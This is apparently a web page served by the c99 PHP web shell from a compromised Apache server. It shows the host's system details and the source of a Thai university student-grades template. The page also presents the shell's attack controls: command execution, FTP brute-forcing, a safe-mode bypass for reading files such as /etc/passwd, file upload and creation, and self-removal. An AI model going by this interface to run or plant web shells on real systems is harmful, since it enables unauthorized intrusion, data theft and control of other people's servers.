!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_showDetailExpectGD.php (2.96 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$rowStd 
= (isset($qu_std) && $qu_std!=NULL) ? $qu_std->row() : NULL;
?>
<table width="100%">
    <tr>
        <td><font size="3" class="h" color="<?php echo $font_color_err?>"><b>รายวิชาที่ได้ลงเรียนไปแล้วในหมวดวิชา/กลุ่มวิชา</b></font>
            <div align="center"><br>
            <table width="100%" align="center">
                <tr>
                    <td><table class="szone">
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone">ชื่อนักศึกษา</span></td>
                            <td><b>: </b><?php echo $rowStd->prefixName.$rowStd->stdName.' '.$rowStd->stdSurname;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone">หลักสูตร</span></td>
                            <td><b>: </b><?php echo $rowStd->curName;?></td>
                        </tr>
                        <tr>
                            <td colspan="4">
                            <table class="headCol">
                                <tr>
                                    <th align="center">ภาค/ปีการศึกษา</td>
                                    <th align="center">ชื่อรายวิชา</th>
                                    <th align="center">หน่วยกิต</th>
                                    <th align="center">เกรด</th>
                                </tr>
<?php
                    $sumCreditTotal 
0;
                    
$i 0;
                    if(isset(
$rs_rd) && $rs_rd->num_rows()) {
                        foreach(
$rs_rd->result() as $row) {
                            
$sumCreditTotal += $row->crsCreditTotal;
                            echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                                    <td align="center"><font size="2" ><?php echo $row->rdTmId.'/'.$row->rdAcY;?></font></td>
                                    <td><font size="2" ><?php echo $row->crsCode.' '.explodeSquare($row->crsName);?></font></td>
                                    <td align="center"><font size="2" ><?php echo $row->crsUnit;?></font></td>
                                    <td align="center"><font size="2" ><?php
                                        
if( $row->rfBalance == && !is_null($row->ssmStdId) ){
                                            echo 
$row->rdGrade;
                                        }
                                        
?></font></td>
                                </tr>
<?php
                            $i
++;

                        }
                    } else {
?>
                                <tr>
                                    <td colspan="4" align="center"><font size="2" color="<?php echo $font_color_err;?>">** ไม่ปรากฏรายการดังกล่าวในฐานข้อมูล **</font></td>
                                </tr>
<?php
                    
}
?>
                                <tr bgcolor="<?php echo $this->config->item('rg_head_tb_headCol');?>">
                                    <td colspan="2" align="right"><span><b>รวมหน่วยกิต</b></span></td>
                                    <td align="center"><span><?php echo $sumCreditTotal;?></span></td>
                                    <td></td>
                                </tr>
                            </table></td>
                        </tr>
                    </table></td>
                </tr>
                <tr>
                    <td align="center"><br><input type="button" name="close" value="ปิดหน้าต่าง" onClick="window.close()"></td>
                </tr>
            </table></div></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0065 ]--